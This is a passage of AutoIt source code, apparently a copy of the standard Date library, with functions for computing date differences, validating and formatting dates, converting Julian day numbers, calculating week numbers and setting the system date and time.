  3954.     Local Const $monday_is_no1 = 128
  3955.     If $iformat = Default Then $iformat = 0
  3956.     $idaynum = Int($idaynum)
  3957.     If $idaynum < 1 OR $idaynum > 7 Then Return SetError(1, 0, "")
  3958.     Local $tsystemtime = DllStructCreate($tagsystemtime)
  3959.     DllStructSetData($tsystemtime, "Year", BitAND($iformat, $monday_is_no1) ? 2007 : 2006)
  3960.     DllStructSetData($tsystemtime, "Month", 1)
  3961.     DllStructSetData($tsystemtime, "Day", $idaynum)
  3962.     Return _winapi_getdateformat(BitAND($iformat, $dmw_locale_longname) ? $locale_user_default : $locale_invariant, $tsystemtime, 0, BitAND($iformat, $dmw_shortname) ? "ddd" : "dddd")
  3963. EndFunc
  3964.  
  3965. Func _datedaysinmonth($iyear, $imonthnum)
  3966.     $imonthnum = Int($imonthnum)
  3967.     $iyear = Int($iyear)
  3968.     Return __dateismonth($imonthnum) AND __dateisyear($iyear) ? _daysinmonth($iyear)[$imonthnum] : SetError(1, 0, 0)
  3969. EndFunc
  3970.  
  3971. Func _datediff($stype, $sstartdate, $senddate)
  3972.     $stype = StringLeft($stype, 1)
  3973.     If StringInStr("d,m,y,w,h,n,s", $stype) = 0 OR $stype = "" Then
  3974.         Return SetError(1, 0, 0)
  3975.     EndIf
  3976.     If NOT _dateisvalid($sstartdate) Then
  3977.         Return SetError(2, 0, 0)
  3978.     EndIf
  3979.     If NOT _dateisvalid($senddate) Then
  3980.         Return SetError(3, 0, 0)
  3981.     EndIf
  3982.     Local $asstartdatepart[4], $asstarttimepart[4], $asenddatepart[4], $asendtimepart[4]
  3983.     _datetimesplit($sstartdate, $asstartdatepart, $asstarttimepart)
  3984.     _datetimesplit($senddate, $asenddatepart, $asendtimepart)
  3985.     Local $adaysdiff = _datetodayvalue($asenddatepart[1], $asenddatepart[2], $asenddatepart[3]) - _datetodayvalue($asstartdatepart[1], $asstartdatepart[2], $asstartdatepart[3])
  3986.     Local $itimediff, $iyeardiff, $istarttimeinsecs, $iendtimeinsecs
  3987.     If $asstarttimepart[0] > 1 AND $asendtimepart[0] > 1 Then
  3988.         $istarttimeinsecs = $asstarttimepart[1] * 3600 + $asstarttimepart[2] * 60 + $asstarttimepart[3]
  3989.         $iendtimeinsecs = $asendtimepart[1] * 3600 + $asendtimepart[2] * 60 + $asendtimepart[3]
  3990.         $itimediff = $iendtimeinsecs - $istarttimeinsecs
  3991.         If $itimediff < 0 Then
  3992.             $adaysdiff = $adaysdiff - 1
  3993.             $itimediff = $itimediff + 24 * 60 * 60
  3994.         EndIf
  3995.     Else
  3996.         $itimediff = 0
  3997.     EndIf
  3998.     Select
  3999.         Case $stype = "d"
  4000.             Return $adaysdiff
  4001.         Case $stype = "m"
  4002.             $iyeardiff = $asenddatepart[1] - $asstartdatepart[1]
  4003.             Local $imonthdiff = $asenddatepart[2] - $asstartdatepart[2] + $iyeardiff * 12
  4004.             If $asenddatepart[3] < $asstartdatepart[3] Then $imonthdiff = $imonthdiff - 1
  4005.             $istarttimeinsecs = $asstarttimepart[1] * 3600 + $asstarttimepart[2] * 60 + $asstarttimepart[3]
  4006.             $iendtimeinsecs = $asendtimepart[1] * 3600 + $asendtimepart[2] * 60 + $asendtimepart[3]
  4007.             $itimediff = $iendtimeinsecs - $istarttimeinsecs
  4008.             If $asenddatepart[3] = $asstartdatepart[3] AND $itimediff < 0 Then $imonthdiff = $imonthdiff - 1
  4009.             Return $imonthdiff
  4010.         Case $stype = "y"
  4011.             $iyeardiff = $asenddatepart[1] - $asstartdatepart[1]
  4012.             If $asenddatepart[2] < $asstartdatepart[2] Then $iyeardiff = $iyeardiff - 1
  4013.             If $asenddatepart[2] = $asstartdatepart[2] AND $asenddatepart[3] < $asstartdatepart[3] Then $iyeardiff = $iyeardiff - 1
  4014.             $istarttimeinsecs = $asstarttimepart[1] * 3600 + $asstarttimepart[2] * 60 + $asstarttimepart[3]
  4015.             $iendtimeinsecs = $asendtimepart[1] * 3600 + $asendtimepart[2] * 60 + $asendtimepart[3]
  4016.             $itimediff = $iendtimeinsecs - $istarttimeinsecs
  4017.             If $asenddatepart[2] = $asstartdatepart[2] AND $asenddatepart[3] = $asstartdatepart[3] AND $itimediff < 0 Then $iyeardiff = $iyeardiff - 1
  4018.             Return $iyeardiff
  4019.         Case $stype = "w"
  4020.             Return Int($adaysdiff / 7)
  4021.         Case $stype = "h"
  4022.             Return $adaysdiff * 24 + Int($itimediff / 3600)
  4023.         Case $stype = "n"
  4024.             Return $adaysdiff * 24 * 60 + Int($itimediff / 60)
  4025.         Case $stype = "s"
  4026.             Return $adaysdiff * 24 * 60 * 60 + $itimediff
  4027.     EndSelect
  4028. EndFunc
  4029.  
  4030. Func _dateisleapyear($iyear)
  4031.     If StringIsInt($iyear) Then
  4032.         Select
  4033.             Case Mod($iyear, 4) = 0 AND Mod($iyear, 100) <> 0
  4034.                 Return 1
  4035.             Case Mod($iyear, 400) = 0
  4036.                 Return 1
  4037.             Case Else
  4038.                 Return 0
  4039.         EndSelect
  4040.     EndIf
  4041.     Return SetError(1, 0, 0)
  4042. EndFunc
  4043.  
  4044. Func __dateismonth($inumber)
  4045.     $inumber = Int($inumber)
  4046.     Return $inumber >= 1 AND $inumber <= 12
  4047. EndFunc
  4048.  
  4049. Func _dateisvalid($sdate)
  4050.     Local $asdatepart[4], $astimepart[4]
  4051.     _datetimesplit($sdate, $asdatepart, $astimepart)
  4052.     If NOT StringIsInt($asdatepart[1]) Then Return 0
  4053.     If NOT StringIsInt($asdatepart[2]) Then Return 0
  4054.     If NOT StringIsInt($asdatepart[3]) Then Return 0
  4055.     $asdatepart[1] = Int($asdatepart[1])
  4056.     $asdatepart[2] = Int($asdatepart[2])
  4057.     $asdatepart[3] = Int($asdatepart[3])
  4058.     Local $inumdays = _daysinmonth($asdatepart[1])
  4059.     If $asdatepart[1] < 1000 OR $asdatepart[1] > 2999 Then Return 0
  4060.     If $asdatepart[2] < 1 OR $asdatepart[2] > 12 Then Return 0
  4061.     If $asdatepart[3] < 1 OR $asdatepart[3] > $inumdays[$asdatepart[2]] Then Return 0
  4062.     If $astimepart[0] < 1 Then Return 1
  4063.     If $astimepart[0] < 2 Then Return 0
  4064.     If $astimepart[0] = 2 Then $astimepart[3] = "00"
  4065.     If NOT StringIsInt($astimepart[1]) Then Return 0
  4066.     If NOT StringIsInt($astimepart[2]) Then Return 0
  4067.     If NOT StringIsInt($astimepart[3]) Then Return 0
  4068.     $astimepart[1] = Int($astimepart[1])
  4069.     $astimepart[2] = Int($astimepart[2])
  4070.     $astimepart[3] = Int($astimepart[3])
  4071.     If $astimepart[1] < 0 OR $astimepart[1] > 23 Then Return 0
  4072.     If $astimepart[2] < 0 OR $astimepart[2] > 59 Then Return 0
  4073.     If $astimepart[3] < 0 OR $astimepart[3] > 59 Then Return 0
  4074.     Return 1
  4075. EndFunc
  4076.  
  4077. Func __dateisyear($inumber)
  4078.     Return StringLen($inumber) = 4
  4079. EndFunc
  4080.  
  4081. Func _datelastweekdaynum($iweekdaynum)
  4082.     Select
  4083.         Case NOT StringIsInt($iweekdaynum)
  4084.             Return SetError(1, 0, 0)
  4085.         Case $iweekdaynum < 1 OR $iweekdaynum > 7
  4086.             Return SetError(2, 0, 0)
  4087.         Case Else
  4088.             Local $ilastweekdaynum
  4089.             If $iweekdaynum = 1 Then
  4090.                 $ilastweekdaynum = 7
  4091.             Else
  4092.                 $ilastweekdaynum = $iweekdaynum - 1
  4093.             EndIf
  4094.             Return $ilastweekdaynum
  4095.     EndSelect
  4096. EndFunc
  4097.  
  4098. Func _datelastmonthnum($imonthnum)
  4099.     Select
  4100.         Case NOT StringIsInt($imonthnum)
  4101.             Return SetError(1, 0, 0)
  4102.         Case NOT __dateismonth($imonthnum)
  4103.             Return SetError(2, 0, 0)
  4104.         Case Else
  4105.             Local $ilastmonthnum
  4106.             If $imonthnum = 1 Then
  4107.                 $ilastmonthnum = 12
  4108.             Else
  4109.                 $ilastmonthnum = $imonthnum - 1
  4110.             EndIf
  4111.             $ilastmonthnum = StringFormat("%02d", $ilastmonthnum)
  4112.             Return $ilastmonthnum
  4113.     EndSelect
  4114. EndFunc
  4115.  
  4116. Func _datelastmonthyear($imonthnum, $iyear)
  4117.     Select
  4118.         Case NOT StringIsInt($imonthnum) OR NOT StringIsInt($iyear)
  4119.             Return SetError(1, 0, 0)
  4120.         Case NOT __dateismonth($imonthnum)
  4121.             Return SetError(2, 0, 0)
  4122.         Case Else
  4123.             Local $ilastyear
  4124.             If $imonthnum = 1 Then
  4125.                 $ilastyear = $iyear - 1
  4126.             Else
  4127.                 $ilastyear = $iyear
  4128.             EndIf
  4129.             $ilastyear = StringFormat("%04d", $ilastyear)
  4130.             Return $ilastyear
  4131.     EndSelect
  4132. EndFunc
  4133.  
  4134. Func _datenextweekdaynum($iweekdaynum)
  4135.     Select
  4136.         Case NOT StringIsInt($iweekdaynum)
  4137.             Return SetError(1, 0, 0)
  4138.         Case $iweekdaynum < 1 OR $iweekdaynum > 7
  4139.             Return SetError(2, 0, 0)
  4140.         Case Else
  4141.             Local $inextweekdaynum
  4142.             If $iweekdaynum = 7 Then
  4143.                 $inextweekdaynum = 1
  4144.             Else
  4145.                 $inextweekdaynum = $iweekdaynum + 1
  4146.             EndIf
  4147.             Return $inextweekdaynum
  4148.     EndSelect
  4149. EndFunc
  4150.  
  4151. Func _datenextmonthnum($imonthnum)
  4152.     Select
  4153.         Case NOT StringIsInt($imonthnum)
  4154.             Return SetError(1, 0, 0)
  4155.         Case NOT __dateismonth($imonthnum)
  4156.             Return SetError(2, 0, 0)
  4157.         Case Else
  4158.             Local $inextmonthnum
  4159.             If $imonthnum = 12 Then
  4160.                 $inextmonthnum = 1
  4161.             Else
  4162.                 $inextmonthnum = $imonthnum + 1
  4163.             EndIf
  4164.             $inextmonthnum = StringFormat("%02d", $inextmonthnum)
  4165.             Return $inextmonthnum
  4166.     EndSelect
  4167. EndFunc
  4168.  
  4169. Func _datenextmonthyear($imonthnum, $iyear)
  4170.     Select
  4171.         Case NOT StringIsInt($imonthnum) OR NOT StringIsInt($iyear)
  4172.             Return SetError(1, 0, 0)
  4173.         Case NOT __dateismonth($imonthnum)
  4174.             Return SetError(2, 0, 0)
  4175.         Case Else
  4176.             Local $inextyear
  4177.             If $imonthnum = 12 Then
  4178.                 $inextyear = $iyear + 1
  4179.             Else
  4180.                 $inextyear = $iyear
  4181.             EndIf
  4182.             $inextyear = StringFormat("%04d", $inextyear)
  4183.             Return $inextyear
  4184.     EndSelect
  4185. EndFunc
  4186.  
  4187. Func _datetimeformat($sdate, $stype)
  4188.     Local $asdatepart[4], $astimepart[4]
  4189.     Local $stempdate = "", $stemptime = ""
  4190.     Local $sam, $spm, $stempstring = ""
  4191.     If NOT _dateisvalid($sdate) Then
  4192.         Return SetError(1, 0, "")
  4193.     EndIf
  4194.     If $stype < 0 OR $stype > 5 OR NOT IsInt($stype) Then
  4195.         Return SetError(2, 0, "")
  4196.     EndIf
  4197.     _datetimesplit($sdate, $asdatepart, $astimepart)
  4198.     Switch $stype
  4199.         Case 0
  4200.             $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_sshortdate)
  4201.             If NOT @error AND NOT ($stempstring = "") Then
  4202.                 $stempdate = $stempstring
  4203.             Else
  4204.                 $stempdate = "M/d/yyyy"
  4205.             EndIf
  4206.             If $astimepart[0] > 1 Then
  4207.                 $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_stimeformat)
  4208.                 If NOT @error AND NOT ($stempstring = "") Then
  4209.                     $stemptime = $stempstring
  4210.                 Else
  4211.                     $stemptime = "h:mm:ss tt"
  4212.                 EndIf
  4213.             EndIf
  4214.         Case 1
  4215.             $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_slongdate)
  4216.             If NOT @error AND NOT ($stempstring = "") Then
  4217.                 $stempdate = $stempstring
  4218.             Else
  4219.                 $stempdate = "dddd, MMMM dd, yyyy"
  4220.             EndIf
  4221.         Case 2
  4222.             $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_sshortdate)
  4223.             If NOT @error AND NOT ($stempstring = "") Then
  4224.                 $stempdate = $stempstring
  4225.             Else
  4226.                 $stempdate = "M/d/yyyy"
  4227.             EndIf
  4228.         Case 3
  4229.             If $astimepart[0] > 1 Then
  4230.                 $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_stimeformat)
  4231.                 If NOT @error AND NOT ($stempstring = "") Then
  4232.                     $stemptime = $stempstring
  4233.                 Else
  4234.                     $stemptime = "h:mm:ss tt"
  4235.                 EndIf
  4236.             EndIf
  4237.         Case 4
  4238.             If $astimepart[0] > 1 Then
  4239.                 $stemptime = "hh:mm"
  4240.             EndIf
  4241.         Case 5
  4242.             If $astimepart[0] > 1 Then
  4243.                 $stemptime = "hh:mm:ss"
  4244.             EndIf
  4245.     EndSwitch
  4246.     If $stempdate <> "" Then
  4247.         $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_sdate)
  4248.         If NOT @error AND NOT ($stempstring = "") Then
  4249.             $stempdate = StringReplace($stempdate, "/", $stempstring)
  4250.         EndIf
  4251.         Local $iwday = _datetodayofweek($asdatepart[1], $asdatepart[2], $asdatepart[3])
  4252.         $asdatepart[3] = StringRight("0" & $asdatepart[3], 2)
  4253.         $asdatepart[2] = StringRight("0" & $asdatepart[2], 2)
  4254.         $stempdate = StringReplace($stempdate, "d", "@")
  4255.         $stempdate = StringReplace($stempdate, "m", "#")
  4256.         $stempdate = StringReplace($stempdate, "y", "&")
  4257.         $stempdate = StringReplace($stempdate, "@@@@", _datedayofweek($iwday, 0))
  4258.         $stempdate = StringReplace($stempdate, "@@@", _datedayofweek($iwday, 1))
  4259.         $stempdate = StringReplace($stempdate, "@@", $asdatepart[3])
  4260.         $stempdate = StringReplace($stempdate, "@", StringReplace(StringLeft($asdatepart[3], 1), "0", "") & StringRight($asdatepart[3], 1))
  4261.         $stempdate = StringReplace($stempdate, "####", _datetomonth($asdatepart[2], 0))
  4262.         $stempdate = StringReplace($stempdate, "###", _datetomonth($asdatepart[2], 1))
  4263.         $stempdate = StringReplace($stempdate, "##", $asdatepart[2])
  4264.         $stempdate = StringReplace($stempdate, "#", StringReplace(StringLeft($asdatepart[2], 1), "0", "") & StringRight($asdatepart[2], 1))
  4265.         $stempdate = StringReplace($stempdate, "&&&&", $asdatepart[1])
  4266.         $stempdate = StringReplace($stempdate, "&&", StringRight($asdatepart[1], 2))
  4267.     EndIf
  4268.     If $stemptime <> "" Then
  4269.         $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_s1159)
  4270.         If NOT @error AND NOT ($stempstring = "") Then
  4271.             $sam = $stempstring
  4272.         Else
  4273.             $sam = "AM"
  4274.         EndIf
  4275.         $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_s2359)
  4276.         If NOT @error AND NOT ($stempstring = "") Then
  4277.             $spm = $stempstring
  4278.         Else
  4279.             $spm = "PM"
  4280.         EndIf
  4281.         $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_stime)
  4282.         If NOT @error AND NOT ($stempstring = "") Then
  4283.             $stemptime = StringReplace($stemptime, ":", $stempstring)
  4284.         EndIf
  4285.         If StringInStr($stemptime, "tt") Then
  4286.             If $astimepart[1] < 12 Then
  4287.                 $stemptime = StringReplace($stemptime, "tt", $sam)
  4288.                 If $astimepart[1] = 0 Then $astimepart[1] = 12
  4289.             Else
  4290.                 $stemptime = StringReplace($stemptime, "tt", $spm)
  4291.                 If $astimepart[1] > 12 Then $astimepart[1] = $astimepart[1] - 12
  4292.             EndIf
  4293.         EndIf
  4294.         $astimepart[1] = StringRight("0" & $astimepart[1], 2)
  4295.         $astimepart[2] = StringRight("0" & $astimepart[2], 2)
  4296.         $astimepart[3] = StringRight("0" & $astimepart[3], 2)
  4297.         $stemptime = StringReplace($stemptime, "hh", StringFormat("%02d", $astimepart[1]))
  4298.         $stemptime = StringReplace($stemptime, "h", StringReplace(StringLeft($astimepart[1], 1), "0", "") & StringRight($astimepart[1], 1))
  4299.         $stemptime = StringReplace($stemptime, "mm", StringFormat("%02d", $astimepart[2]))
  4300.         $stemptime = StringReplace($stemptime, "ss", StringFormat("%02d", $astimepart[3]))
  4301.         $stempdate = StringStripWS($stempdate & " " & $stemptime, $str_stripleading + $str_striptrailing)
  4302.     EndIf
  4303.     Return $stempdate
  4304. EndFunc
  4305.  
  4306. Func _datetimesplit($sdate, ByRef $adatepart, ByRef $itimepart)
  4307.     Local $sdatetime = StringSplit($sdate, " T")
  4308.     If $sdatetime[0] > 0 Then $adatepart = StringSplit($sdatetime[1], "/-.")
  4309.     If $sdatetime[0] > 1 Then
  4310.         $itimepart = StringSplit($sdatetime[2], ":")
  4311.         If UBound($itimepart) < 4 Then ReDim $itimepart[4]
  4312.     Else
  4313.         Dim $itimepart[4]
  4314.     EndIf
  4315.     If UBound($adatepart) < 4 Then ReDim $adatepart[4]
  4316.     For $x = 1 To 3
  4317.         If StringIsInt($adatepart[$x]) Then
  4318.             $adatepart[$x] = Int($adatepart[$x])
  4319.         Else
  4320.             $adatepart[$x] = -1
  4321.         EndIf
  4322.         If StringIsInt($itimepart[$x]) Then
  4323.             $itimepart[$x] = Int($itimepart[$x])
  4324.         Else
  4325.             $itimepart[$x] = 0
  4326.         EndIf
  4327.     Next
  4328.     Return 1
  4329. EndFunc
  4330.  
  4331. Func _datetodayofweek($iyear, $imonth, $iday)
  4332.     If NOT _dateisvalid($iyear & "/" & $imonth & "/" & $iday) Then
  4333.         Return SetError(1, 0, "")
  4334.     EndIf
  4335.     Local $i_factora = Int((14 - $imonth) / 12)
  4336.     Local $i_factory = $iyear - $i_factora
  4337.     Local $i_factorm = $imonth + (12 * $i_factora) - 2
  4338.     Local $i_factord = Mod($iday + $i_factory + Int($i_factory / 4) - Int($i_factory / 100) + Int($i_factory / 400) + Int((31 * $i_factorm) / 12), 7)
  4339.     Return $i_factord + 1
  4340. EndFunc
  4341.  
  4342. Func _datetodayofweekiso($iyear, $imonth, $iday)
  4343.     Local $idow = _datetodayofweek($iyear, $imonth, $iday)
  4344.     If @error Then
  4345.         Return SetError(1, 0, "")
  4346.     EndIf
  4347.     If $idow >= 2 Then Return $idow - 1
  4348.     Return 7
  4349. EndFunc
  4350.  
  4351. Func _datetodayvalue($iyear, $imonth, $iday)
  4352.     If NOT _dateisvalid(StringFormat("%04d/%02d/%02d", $iyear, $imonth, $iday)) Then
  4353.         Return SetError(1, 0, "")
  4354.     EndIf
  4355.     If $imonth < 3 Then
  4356.         $imonth = $imonth + 12
  4357.         $iyear = $iyear - 1
  4358.     EndIf
  4359.     Local $i_factora = Int($iyear / 100)
  4360.     Local $i_factorb = Int($i_factora / 4)
  4361.     Local $i_factorc = 2 - $i_factora + $i_factorb
  4362.     Local $i_factore = Int(1461 * ($iyear + 4716) / 4)
  4363.     Local $i_factorf = Int(153 * ($imonth + 1) / 5)
  4364.     Local $ijuliandate = $i_factorc + $iday + $i_factore + $i_factorf - 1524.5
  4365.     Return $ijuliandate
  4366. EndFunc
  4367.  
  4368. Func _datetomonth($imonnum, $iformat = Default)
  4369.     If $iformat = Default Then $iformat = 0
  4370.     $imonnum = Int($imonnum)
  4371.     If NOT __dateismonth($imonnum) Then Return SetError(1, 0, "")
  4372.     Local $tsystemtime = DllStructCreate($tagsystemtime)
  4373.     DllStructSetData($tsystemtime, "Year", @YEAR)
  4374.     DllStructSetData($tsystemtime, "Month", $imonnum)
  4375.     DllStructSetData($tsystemtime, "Day", 1)
  4376.     Return _winapi_getdateformat(BitAND($iformat, $dmw_locale_longname) ? $locale_user_default : $locale_invariant, $tsystemtime, 0, BitAND($iformat, $dmw_shortname) ? "MMM" : "MMMM")
  4377. EndFunc
  4378.  
  4379. Func _dayvaluetodate($ijuliandate, ByRef $iyear, ByRef $imonth, ByRef $iday)
  4380.     If $ijuliandate < 0 OR NOT IsNumber($ijuliandate) Then
  4381.         Return SetError(1, 0, 0)
  4382.     EndIf
  4383.     Local $i_factorz = Int($ijuliandate + 0.5)
  4384.     Local $i_factorw = Int(($i_factorz - 1867216.25) / 36524.25)
  4385.     Local $i_factorx = Int($i_factorw / 4)
  4386.     Local $i_factora = $i_factorz + 1 + $i_factorw - $i_factorx
  4387.     Local $i_factorb = $i_factora + 1524
  4388.     Local $i_factorc = Int(($i_factorb - 122.1) / 365.25)
  4389.     Local $i_factord = Int(365.25 * $i_factorc)
  4390.     Local $i_factore = Int(($i_factorb - $i_factord) / 30.6001)
  4391.     Local $i_factorf = Int(30.6001 * $i_factore)
  4392.     $iday = $i_factorb - $i_factord - $i_factorf
  4393.     If $i_factore - 1 < 13 Then
  4394.         $imonth = $i_factore - 1
  4395.     Else
  4396.         $imonth = $i_factore - 13
  4397.     EndIf
  4398.     If $imonth < 3 Then
  4399.         $iyear = $i_factorc - 4715
  4400.     Else
  4401.         $iyear = $i_factorc - 4716
  4402.     EndIf
  4403.     $iyear = StringFormat("%04d", $iyear)
  4404.     $imonth = StringFormat("%02d", $imonth)
  4405.     $iday = StringFormat("%02d", $iday)
  4406.     Return $iyear & "/" & $imonth & "/" & $iday
  4407. EndFunc
  4408.  
  4409. Func _date_juliandayno($iyear, $imonth, $iday)
  4410.     Local $sfulldate = StringFormat("%04d/%02d/%02d", $iyear, $imonth, $iday)
  4411.     If NOT _dateisvalid($sfulldate) Then
  4412.         Return SetError(1, 0, "")
  4413.     EndIf
  4414.     Local $ijday = 0
  4415.     Local $aidaysinmonth = _daysinmonth($iyear)
  4416.     For $icntr = 1 To $imonth - 1
  4417.         $ijday = $ijday + $aidaysinmonth[$icntr]
  4418.     Next
  4419.     $ijday = ($iyear * 1000) + ($ijday + $iday)
  4420.     Return $ijday
  4421. EndFunc
  4422.  
  4423. Func _juliantodate($ijday, $ssep = "/")
  4424.     Local $iyear = Int($ijday / 1000)
  4425.     Local $idays = Mod($ijday, 1000)
  4426.     Local $imaxdays = 365
  4427.     If _dateisleapyear($iyear) Then $imaxdays = 366
  4428.     If $idays > $imaxdays Then
  4429.         Return SetError(1, 0, "")
  4430.     EndIf
  4431.     Local $aidaysinmonth = _daysinmonth($iyear)
  4432.     Local $imonth = 1
  4433.     While $idays > $aidaysinmonth[$imonth]
  4434.         $idays = $idays - $aidaysinmonth[$imonth]
  4435.         $imonth = $imonth + 1
  4436.     WEnd
  4437.     Return StringFormat("%04d%s%02d%s%02d", $iyear, $ssep, $imonth, $ssep, $idays)
  4438. EndFunc
  4439.  
  4440. Func _now()
  4441.     Return _datetimeformat(@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC, 0)
  4442. EndFunc
  4443.  
  4444. Func _nowcalc()
  4445.     Return @YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC
  4446. EndFunc
  4447.  
  4448. Func _nowcalcdate()
  4449.     Return @YEAR & "/" & @MON & "/" & @MDAY
  4450. EndFunc
  4451.  
  4452. Func _nowdate()
  4453.     Return _datetimeformat(@YEAR & "/" & @MON & "/" & @MDAY, 0)
  4454. EndFunc
  4455.  
  4456. Func _nowtime($stype = 3)
  4457.     If $stype < 3 OR $stype > 5 Then $stype = 3
  4458.     Return _datetimeformat(@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC, $stype)
  4459. EndFunc
  4460.  
  4461. Func _setdate($iday, $imonth = 0, $iyear = 0)
  4462.     If $iyear = 0 Then $iyear = @YEAR
  4463.     If $imonth = 0 Then $imonth = @MON
  4464.     If NOT _dateisvalid($iyear & "/" & $imonth & "/" & $iday) Then Return 1
  4465.     Local $tsystemtime = DllStructCreate($tagsystemtime)
  4466.     DllCall("kernel32.dll", "none", "GetLocalTime", "struct*", $tsystemtime)
  4467.     If @error Then Return SetError(@error, @extended, 0)
  4468.     DllStructSetData($tsystemtime, "Day", $iday)
  4469.     If $imonth > 0 Then DllStructSetData($tsystemtime, "Month", $imonth)
  4470.     If $iyear > 0 Then DllStructSetData($tsystemtime, "Year", $iyear)
  4471.     Local $ireturn = _date_time_setlocaltime($tsystemtime)
  4472.     If @error Then Return SetError(@error + 10, @extended, 0)
  4473.     Return Int($ireturn)
  4474. EndFunc
  4475.  
  4476. Func _settime($ihour, $iminute, $isecond = 0, $imseconds = 0)
  4477.     If $ihour < 0 OR $ihour > 23 Then Return 1
  4478.     If $iminute < 0 OR $iminute > 59 Then Return 1
  4479.     If $isecond < 0 OR $isecond > 59 Then Return 1
  4480.     If $imseconds < 0 OR $imseconds > 999 Then Return 1
  4481.     Local $tsystemtime = DllStructCreate($tagsystemtime)
  4482.     DllCall("kernel32.dll", "none", "GetLocalTime", "struct*", $tsystemtime)
  4483.     If @error Then Return SetError(@error, @extended, 0)
  4484.     DllStructSetData($tsystemtime, "Hour", $ihour)
  4485.     DllStructSetData($tsystemtime, "Minute", $iminute)
  4486.     If $isecond > 0 Then DllStructSetData($tsystemtime, "Seconds", $isecond)
  4487.     If $imseconds > 0 Then DllStructSetData($tsystemtime, "MSeconds", $imseconds)
  4488.     Local $ireturn = _date_time_setlocaltime($tsystemtime)
  4489.     If @error Then Return SetError(@error + 10, @extended, 0)
  4490.     Return Int($ireturn)
  4491. EndFunc
  4492.  
  4493. Func _tickstotime($iticks, ByRef $ihours, ByRef $imins, ByRef $isecs)
  4494.     If Number($iticks) > 0 Then
  4495.         $iticks = Int($iticks / 1000)
  4496.         $ihours = Int($iticks / 3600)
  4497.         $iticks = Mod($iticks, 3600)
  4498.         $imins = Int($iticks / 60)
  4499.         $isecs = Mod($iticks, 60)
  4500.         Return 1
  4501.     ElseIf Number($iticks) = 0 Then
  4502.         $ihours = 0
  4503.         $iticks = 0
  4504.         $imins = 0
  4505.         $isecs = 0
  4506.         Return 1
  4507.     Else
  4508.         Return SetError(1, 0, 0)
  4509.     EndIf
  4510. EndFunc
  4511.  
  4512. Func _timetoticks($ihours = @HOUR, $imins = @MIN, $isecs = @SEC)
  4513.     If StringIsInt($ihours) AND StringIsInt($imins) AND StringIsInt($isecs) Then
  4514.         Local $iticks = 1000 * ((3600 * $ihours) + (60 * $imins) + $isecs)
  4515.         Return $iticks
  4516.     Else
  4517.         Return SetError(1, 0, 0)
  4518.     EndIf
  4519. EndFunc
  4520.  
  4521. Func _weeknumberiso($iyear = @YEAR, $imonth = @MON, $iday = @MDAY)
  4522.     If $iday > 31 OR $iday < 1 Then
  4523.         Return SetError(1, 0, -1)
  4524.     ElseIf NOT __dateismonth($imonth) Then
  4525.         Return SetError(2, 0, -1)
  4526.     ElseIf $iyear < 1 OR $iyear > 2999 Then
  4527.         Return SetError(3, 0, -1)
  4528.     EndIf
  4529.     Local $idow = _datetodayofweekiso($iyear, $imonth, $iday) - 1
  4530.     Local $idow0101 = _datetodayofweekiso($iyear, 1, 1) - 1
  4531.     If ($imonth = 1 AND 3 < $idow0101 AND $idow0101 < 7 - ($iday - 1)) Then
  4532.         $idow = $idow0101 - 1
  4533.         $idow0101 = _datetodayofweekiso($iyear - 1, 1, 1) - 1
  4534.         $imonth = 12
  4535.         $iday = 31
  4536.         $iyear = $iyear - 1
  4537.     ElseIf ($imonth = 12 AND 30 - ($iday - 1) < _datetodayofweekiso($iyear + 1, 1, 1) - 1 AND _datetodayofweekiso($iyear + 1, 1, 1) - 1 < 4) Then
  4538.         Return 1
  4539.     EndIf
  4540.     Return Int((_datetodayofweekiso($iyear, 1, 1) - 1 < 4) + 4 * ($imonth - 1) + (2 * ($imonth - 1) + ($iday - 1) + $idow0101 - $idow + 6) * 36 / 256)
  4541. EndFunc
  4542.  
  4543. Func _weeknumber($iyear = @YEAR, $imonth = @MON, $iday = @MDAY, $iweekstart = 1)
  4544.     If $iday > 31 OR $iday < 1 Then
  4545.         Return SetError(1, 0, -1)
  4546.     ElseIf NOT __dateismonth($imonth) Then
  4547.         Return SetError(3, 0, -1)
  4548.     ElseIf $iyear < 1 OR $iyear > 2999 Then
  4549.         Return SetError(4, 0, -1)
  4550.     ElseIf $iweekstart < 1 OR $iweekstart > 2 Then
  4551.         Return SetError(2, 0, -1)
  4552.     EndIf
  4553.     Local $istartweek1, $iendweek1
  4554.     Local $idow0101 = _datetodayofweekiso($iyear, 1, 1)
  4555.     Local $idate = $iyear & "/" & $imonth & "/" & $iday
  4556.     If $iweekstart = 1 Then
  4557.         If $idow0101 = 6 Then
  4558.             $istartweek1 = 0
  4559.         Else
  4560.             $istartweek1 = -1 * $idow0101 - 1
  4561.         EndIf
  4562.         $iendweek1 = $istartweek1 + 6
  4563.     Else
  4564.         $istartweek1 = $idow0101 * -1
  4565.         $iendweek1 = $istartweek1 + 6
  4566.     EndIf
  4567.     Local $istartweek1ny
  4568.     Local $iendweek1date = _dateadd("d", $iendweek1, $iyear & "/01/01")
  4569.     Local $idow0101ny = _datetodayofweekiso($iyear + 1, 1, 1)
  4570.     If $iweekstart = 1 Then
  4571.         If $idow0101ny = 6 Then
  4572.             $istartweek1ny = 0
  4573.         Else
  4574.             $istartweek1ny = -1 * $idow0101ny - 1
  4575.         EndIf
  4576.     Else
  4577.         $istartweek1ny = $idow0101ny * -1
  4578.     EndIf
  4579.     Local $istartweek1dateny = _dateadd("d", $istartweek1ny, $iyear + 1 & "/01/01")
  4580.     Local $icurrdatediff = _datediff("d", $iendweek1date, $idate) - 1
  4581.     Local $icurrdatediffny = _datediff("d", $istartweek1dateny, $idate)
  4582.     If $icurrdatediff >= 0 AND $icurrdatediffny < 0 Then Return 2 + Int($icurrdatediff / 7)
  4583.     If $icurrdatediff < 0 OR $icurrdatediffny >= 0 Then Return 1
  4584. EndFunc
  4585.  
  4586. Func _daysinmonth($iyear)
